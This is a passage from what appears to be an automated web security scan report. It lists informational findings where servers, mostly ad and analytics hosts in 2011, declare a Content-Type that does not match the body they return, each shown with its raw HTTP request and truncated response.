Referer: http://redacted/MRT/iview/264255445/direct;wi.300;hi.250/01/1354764918?click=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBcyT_rqROTdLmI6iAlgf8zqmDD8WH7_4Bldn30BfAjbcB4JPpARABGAEg0OXxAjgAYMmGo4fUo4AQsgEIdGlwZC5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3RpcGQuY29tL3JlZ2lzdGVy4AEDuAIYyAKt1cMb4AIA6gIcdGlwZC1PdGhlcnMyX3NpZGViYXJfMzAweDI1MJAD6AKYA-gCqAMB0QNO9fRQWewlKugDhwfoA2voA-AC6APrBPUDAAIAxOAEAQ%26num%3D1%26sig%3DAGiWqtxTgjZHpd2on74ev1YZd4H94e6BEA%26client%3Dca-pub-7786708287155161%26adurl%3D
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p67161473=exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&; ar_p83612734=exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&; ar_p45555483=exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&; ar_p85001580=exp=43&initExp=Wed Jan 26 20:14:29 2011&recExp=Sat Feb 5 15:06:35 2011&prad=58087444&arc=40401508&; ar_p68511049=exp=6&initExp=Mon Jan 31 16:31:23 2011&recExp=Sun Feb 6 13:40:00 2011&prad=264255445&arc=185637072&; BMX_3PC=1; UID=1d29d89e-72.246.30.75-1294456810; BMX_G=method%2D%3E%2D1%2Cts%2D%3E1296999600%2E136%2Cwait%2D%3E10000%2C

Response

32.10. http://blogmarks.net/ previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://blogmarks.net
Path:	/

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET / HTTP/1.1
Host: blogmarks.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

32.11. http://bs.serving-sys.com/BurstingPipe/adServer.bs previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2117121&PluID=0&e=0&w=728&h=90&ord=7582024&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3aa6/3/0/%2a/m%3B235470018%3B0-0%3B0%3B23542470%3B3454-728/90%3B40150909/40168696/1%3Bu%3Dzdtopic%3Ditmanagement|zdtopic%3Denterprise|zdtopic%3Dintelligence|zdid%3Da6280|zdtype%3Darticle|zdaudience%3D|zdproduct%3D|zdcompany%3D|zdpagetype%3D%3B%7Eaopt%3D2/0/73/0%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: u3=1; C4=; ActivityInfo=000p81bCx%5f; eyeblaster=BWVal=408&BWDate=40573.510532&debuglevel=&FLV=10.1103&RES=128&WMPV=0; A3=f+JvabEk02WG00002h5iUabNz07l00000Qh5j3abNz07l00000.gYyfadw90cvM00001gn3Ka4JO09MY00001gNfHaaiN0aVX00001fU+La50V0a+r00001gL2MadKj0bdR00001gKXMaepH0bdR00001h802ae7k0c6L00001fUFGa50V02WG00001gYx+adw90cvM00001gKXNaepP0bdR00001gy3.ach00c9M00001cRreabeg03Dk00001heXiaeru0c9M00001gy7La9bU0c9M00003gy5Da9bU0c9M00001gCTVa9bU0c9M00001gvKEacgY0c9M00001ge4Gack+0bM000001ge4Hack+0bM000001gNQ4ae7r0c9M00001; B3=7lgH0000000001sG89PS000000000QsZ89PT000000000.sZ8mb20000000001t48i440000000001t28bwx0000000001t482790000000002t5852G0000000003sS8qav0000000001t57dNH0000000002sZ7GHq0000000001s.7FCH0000000001s.83xP0000000001sF8cVQ0000000001sV82980000000001t3852N0000000001s.87ma0000000001s.6o.Q0000000001sY7gi30000000001sG8i430000000001t2852z0000000001sS852A0000000001sS; u2=1b39b065-3668-4ab4-a4dc-a28fe9442aaf3G601g

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: eyeblaster=BWVal=408&BWDate=40573.510532&debuglevel=&FLV=10.1103&RES=128&WMPV=0; expires=Sat, 07-May-2011 08:21:31 GMT; domain=bs.serving-sys.com; path=/
Set-Cookie: A3=gLnTaeKR09sO00001h5j3abNz07l00000.h5iUabNz07l00000Qf+JvabEk02WG00002gNfHaaiN0aVX00001gn3Ka4JO09MY00001gYyfadw90cvM00001gL2MadKj0bdR00001fU+La50V0a+r00001h802ae7k0c6L00001gKXMaepH0bdR00001gKXNaepP0bdR00001gYx+adw90cvM00001fUFGa50V02WG00001gy3.ach00c9M00001cRreabeg03Dk00001heXiaeru0c9M00001gy7La9bU0c9M00003gCTVa9bU0c9M00001gy5Da9bU0c9M00001gvKEacgY0c9M00001ge4Gack+0bM000001gNQ4ae7r0c9M00001ge4Hack+0bM000001; expires=Sat, 07-May-2011 08:21:31 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=89PS000000000QsZ7lgH0000000001sG89PT000000000.sZ8bwx0000000001t48i440000000001t28mb20000000001t4852G0000000003sS82790000000002t57dNH0000000002sZ8qav0000000001t57GHq0000000001s.7FCH0000000001s.8cVQ0000000001sV83xP0000000001sF82980000000001t384U10000000001t6852N0000000001s.6o.Q0000000001sY87ma0000000001s.8i430000000001t27gi30000000001sG852z0000000001sS852A0000000001sS; expires=Sat, 07-May-2011 08:21:31 GMT; domain=.serving-sys.com; path=/
Set-Cookie: u2=1b39b065-3668-4ab4-a4dc-a28fe9442aaf3G601g; expires=Sat, 07-May-2011 08:21:31 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sun, 06 Feb 2011 13:21:30 GMT
Connection: close
Content-Length: 2841

var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=ebRand.substr(ebRand.index
...[SNIP]...

32.12. http://c03.adsummos.net/a/e/error.ads previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://c03.adsummos.net
Path:	/a/e/error.ads

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=iso-8859-1

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /a/e/error.ads HTTP/1.1
Host: c03.adsummos.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: adsud=BLU0YPL; adsuu=vmkju57YZhpA; adsud9=; CMP=;

Response

HTTP/1.1 404 Not Found
Server: Apache
Content-Type: text/html; charset=iso-8859-1
Cache-Control: max-age=86400
Date: Sat, 05 Feb 2011 22:46:16 GMT
Content-Length: 15
Connection: close
P3P: CP="NOI DSP COR NID CUR ADM DEV TAI PSAo PSDo OUR STP UNI COM NAV STA"

File not found.

32.13. http://c03.adsummos.net/a/e/s21719 previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://c03.adsummos.net
Path:	/a/e/s21719

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

32.14. http://gdata.youtube.com/feeds/ previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://gdata.youtube.com
Path:	/feeds/

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /feeds/ HTTP/1.1
Host: gdata.youtube.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 400 Bad Request
X-GData-User-Country: FR
Content-Type: text/html; charset=UTF-8
Date: Sun, 06 Feb 2011 16:04:08 GMT
Expires: Sun, 06 Feb 2011 16:04:08 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Connection: close
Content-Length: 19

Invalid request URI

32.15. http://homeappliance.manualsonline.com/proxy.class.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/proxy.class.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:13 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 21:54:13 GMT; path=/; domain=.manualsonline.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 7508

["\n\t\t\t\t<a class='titleLink' target='_top' href='http:\/\/dsclick.infospace.com\/ClickHandler.ashx?ru=http%3a%2f%2fwww.google.com%2faclk%3fsa%3dl%26ai%3dCu1b_BcdNTdWEHYeGsAPI0MG9BKaAnvMBpuO9qxjckd
...[SNIP]...

32.16. http://homeappliance.manualsonline.com/regman/user/getUserBlock previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/regman/user/getUserBlock

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=UTF-8

The response states that it contains plain text. However, it actually appears to contain HTML.

Request

Response

32.17. http://in.getclicky.com/ previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://in.getclicky.com
Path:	/

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET / HTTP/1.1
Host: in.getclicky.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cluid=4151896484841637591;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:51:09 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Length: 4
Connection: close
Content-Type: text/html

Hmm.

32.18. https://in.getclicky.com/ previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://in.getclicky.com
Path:	/

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET / HTTP/1.1
Host: in.getclicky.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cluid=4151896484841637591;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:51:11 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Length: 4
Connection: close
Content-Type: text/html

Hmm.

32.19. http://javadl-esd.sun.com/update/AU/map-2.0.2.4.xml previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://javadl-esd.sun.com
Path:	/update/AU/map-2.0.2.4.xml

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=iso-8859-1

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /update/AU/map-2.0.2.4.xml HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Host: javadl-esd.sun.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: Apache
Content-Type: text/html; charset=iso-8859-1
Content-Length: 15
Date: Sun, 06 Feb 2011 16:10:37 GMT
Connection: close
Cache-Control: private

File not found.

32.20. http://metrixlablw.customers.luna.net/p10833/tagger_v03.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://metrixlablw.customers.luna.net
Path:	/p10833/tagger_v03.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

32.21. http://mm.chitika.net/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://mm.chitika.net
Path:	/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /favicon.ico HTTP/1.1
Host: mm.chitika.net
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _cc=G/SkJTIFoxB5zyrGvNooXe99hdD4N3Y8+hAWrbEPZjNgAYyxYDc25rnr3Ff/Paa9/v3eI79FPXJcaLozQcxdpm5MM6R4QaC6sE5VMlIyysjvzjIeQkglG+XihWzhr/fZli1zObbtcS6mSLQnjk03OgIAQN4xIi4OAGyaxsr2pmtcoIEdVFMLG1qU2DWdhwqZmSygSSW8QGDuC4HGJ0b/Z2L9NCigN44ppkm4HdKHuVwsMzOoS0f2BaGqdksKsUKux/kFVZeyXFieCY/ZQRCiGwnaR6ImPRDQS/lIoW6dtX5Qz5Rb81Og0A9uKOao57Q3ndpPaWNj96D/Lo5ssIaeclFQKZRjkZp2ArR9KuWy9vUbLvuxpGH6lkiTumvPM+RUBP96mw5RFlxP8EylO52TSis8TgwolY5Gg3BfKaaG0W/FJaYc.s/MiCuIckIOrG8DkvWNfiA.4

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:34:45 GMT
Server: Apache
Last-Modified: Tue, 22 Jan 2008 15:27:03 GMT
ETag: "308037f-57e-444513d941fc0"
Accept-Ranges: bytes
Content-Length: 1406
Connection: close
Content-Type: text/plain

..............h.......(....... ...........@............................~K.....PPP..P
...........v.rrr..........j-...........a.___......].......................r9.............zzz...l.fff......d$......X
...[SNIP]...

32.22. http://now.eloqua.com/visitor/v200/svrGP.aspx previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://now.eloqua.com
Path:	/visitor/v200/svrGP.aspx

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain a GIF image.

Request

Response

32.23. https://onlineapps.ibanking-services.com/olnas/OLNASServlet/StappsApp previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://onlineapps.ibanking-services.com
Path:	/olnas/OLNASServlet/StappsApp

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html;charset=ISO-8859-1

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /olnas/OLNASServlet/StappsApp HTTP/1.1
Host: onlineapps.ibanking-services.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 405 Method Not Allowed
Date: Sat, 05 Feb 2011 21:51:37 GMT
Server: IBM_HTTP_Server
$WSEP:
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
Content-Length: 31

Error 405: Method not allowed.

32.24. http://owneriq.postaffiliatepro.com/scripts/track.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://owneriq.postaffiliatepro.com
Path:	/scripts/track.php

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript

The response states that it contains script. However, it actually appears to contain plain text.

Request

Response

32.25. http://personalsavings.americanexpress.com/javascripts/rates.json previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://personalsavings.americanexpress.com
Path:	/javascripts/rates.json

Issue detail

The response contains the following Content-type statement:

Content-type: text/plain

The response states that it contains plain text. However, it actually appears to contain JSON.

Request

GET /javascripts/rates.json HTTP/1.1
Host: personalsavings.americanexpress.com
Proxy-Connection: keep-alive
Referer: http://personalsavings.americanexpress.com/savings-product.html
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SaneID=173.193.214.243-1296742163652146; s_vi=[CS]v1|26A5643B851D30BB-60000101A000141F[CE]

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:49:43 GMT
Content-length: 475
Content-type: text/plain
Last-modified: Sat, 05 Feb 2011 04:30:04 GMT
Etag: "1db-4d4cd24c"
Accept-ranges: bytes

{'date':'February 05, 2011',
'products': [
{prodid:61083,term:'High Yield Savings',rate:1.29,apy:1.3},
{prodid:61085,term:'6 Month CD',rate:0.5,apy:0.5},
{prodid:61086,term:'12 Month CD',rate:0.9,apy:
...[SNIP]...

32.26. http://pixel.intellitxt.com/pixel.jsp previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://pixel.intellitxt.com
Path:	/pixel.jsp

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_PIX=AQAAAAkAAArrAQAAAAEAAAEt98vDoAAACuoBAAAAAQAAAS33y8OgAAAKywEAAAABAAABLffLw6AAAAroAQAAAAEAAAEt98vDoAAACs0BAAAAAQAAAS33y8OgAAAKzAEAAAABAAABLffLw6AAAArSAQAAAAEAAAEt98vDoAAABBUBAAAAAQAAAS2qBrSKAAAK1QEAAAABAAABLffLw6AAAAAAHcLRHA--; Domain=.intellitxt.com; Expires=Wed, 06-Apr-2011 21:48:02 GMT; Path=/
Content-Type: text/html
Vary: Accept-Encoding
Date: Sat, 05 Feb 2011 21:48:02 GMT
Connection: close
Content-Length: 3149

(function(){try{var d=document;var u;u='http://segment-pixel.invitemedia.com/pixel?code=2773&partnerID=86&key=segment&returnType=js';if(navigator.appVersion.indexOf('MSIE')>=0 && ('complete'!=document
...[SNIP]...

32.27. http://rt32.infolinks.com/action/doq.htm previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://rt32.infolinks.com
Path:	/action/doq.htm

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html;charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain CSS.

Request

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Set-Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:32 GMT; Path=/
Set-Cookie: cnoi=3; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:32 GMT; Path=/
P3P: CP="NON DSP NID OUR COR"
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 2806
Date: Sat, 05 Feb 2011 22:35:24 GMT
Connection: close

data=({rid:'19e4c78f-5cba-4ac1-a4e2-d797d9a28264',fuid:'11d77bcd-1e56-4ec4-8f17-60b91b3b6392',sentences:{'graphic designers':{auth:{ssd:'pyLHHeia_ZLdtc0elSUPOZwYvA85Bi47WAQiMBGbfP8QGLGadgfcILH2vzXIRPX
...[SNIP]...

32.28. http://rt82.infolinks.com/action/doq.htm previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://rt82.infolinks.com
Path:	/action/doq.htm

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html;charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain CSS.

Request

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Set-Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:18 GMT; Path=/
Set-Cookie: cnoi=2; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:18 GMT; Path=/
P3P: CP="NON DSP NID OUR COR"
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 2805
Date: Sat, 05 Feb 2011 22:35:10 GMT
Connection: close

data=({rid:'2b42bf69-f9b5-4581-b1f9-d14fe468ec23',fuid:'11d77bcd-1e56-4ec4-8f17-60b91b3b6392',sentences:{'graphic designers':{auth:{ssd:'DxEeWajNm9z8tEDTprVRcNMVS45LwjB_Pk4yAPQWDhhsIdxUsjuxBsUuE3uANgo
...[SNIP]...

32.29. http://rt83.infolinks.com/action/doq.htm previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://rt83.infolinks.com
Path:	/action/doq.htm

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html;charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain CSS.

Request

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Set-Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:13 GMT; Path=/
Set-Cookie: cnoi=1; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:13 GMT; Path=/
P3P: CP="NON DSP NID OUR COR"
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 2805
Date: Sat, 05 Feb 2011 22:35:06 GMT
Connection: close

data=({rid:'32ee1ffe-b370-4e67-81d6-7fba3ea16f6a',fuid:'11d77bcd-1e56-4ec4-8f17-60b91b3b6392',sentences:{'graphic designers':{auth:{ssd:'m-CgWNHkBNztVYW8Sno0DzskCEYwZO-FZXzK7bQ7e5UmXN0gV1X8o-96Sd0rNje
...[SNIP]...

32.30. http://starpulse.us.intellitxt.com/intellitxt/switch.asp previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://starpulse.us.intellitxt.com
Path:	/intellitxt/switch.asp

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

32.31. http://static.getclicky.com/ previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://static.getclicky.com
Path:	/

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET / HTTP/1.1
Host: static.getclicky.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 21:52:43 GMT
Content-Type: text/html
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6-1+lenny6
Content-Length: 4

Hmm.

32.32. https://static.getclicky.com/ previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://static.getclicky.com
Path:	/

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET / HTTP/1.1
Host: static.getclicky.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 21:52:45 GMT
Content-Type: text/html
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6-1+lenny6
Content-Length: 4

Hmm.

32.33. http://survey.questionmarket.com/noauth/ktag_log.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://survey.questionmarket.com
Path:	/noauth/ktag_log.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain a GIF image.

Request

Response

32.34. http://system.referforex.com/processing/impressions.asp previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://system.referforex.com
Path:	/processing/impressions.asp

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain XML.

Request

Response

HTTP/1.1 400 Bad Request
Content-Type: text/html
Date: Sun, 06 Feb 2011 16:25:36 GMT
Connection: close
Content-Length: 39

<h1>Bad Request (Invalid Hostname)</h1>

32.35. http://tools.cisco.com/search/display previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://tools.cisco.com
Path:	/search/display

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html;charset=ISO-8859-1

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /search/display HTTP/1.1
Host: tools.cisco.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

32.36. http://track2.mybloglog.com/js/jsserv.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://track2.mybloglog.com
Path:	/js/jsserv.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

Response

32.37. http://track2.mybloglog.com/tr/urltrk.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://track2.mybloglog.com
Path:	/tr/urltrk.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /tr/urltrk.php?i=2010103023295009&t=1&u=http%3A//www.orthougm.com/nslookup.html&a=Mozilla/5.0%20%28Windows%3B%20U%3B%20Windows%20NT%206.1%3B%20en-US%29%20AppleWebKit/534.13%20%28KHTML%2C%20like%20Gecko%29%20Chrome/9.0.597.84%20Safari/534.13&d=20110205&db=&now=1296942499577&v=N2011020513475974 HTTP/1.1
Host: track2.mybloglog.com
Proxy-Connection: keep-alive
Referer: http://www.orthougm.com/nslookup.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BX=7rv9lsd6krhcf&b=3&s=je; mbl_sid=N2011020513475974

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:47:59 GMT
P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" policyref="http://www.mybloglog.com/w3c/p3p.xml"
Cache-Control: private
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 81

32.38. http://urlist.info/search/Kelentik previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://urlist.info
Path:	/search/Kelentik

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /search/Kelentik HTTP/1.1
Host: urlist.info
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

32.39. http://urls.api.twitter.com/1/urls/count.json previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://urls.api.twitter.com
Path:	/1/urls/count.json

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain CSS.

Request

GET /1/urls/count.json HTTP/1.1
Host: urls.api.twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmv=43838368.lang%3A%20en; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; k=173.193.214.243.1296843754823170;

Response

HTTP/1.1 200 OK
Server: Apache
ETag: "6599c6d212c5eb6e41d800b7f8bf7397:1284511129"
Last-Modified: Wed, 15 Sep 2010 00:38:49 GMT
Accept-Ranges: bytes
Content-Length: 95
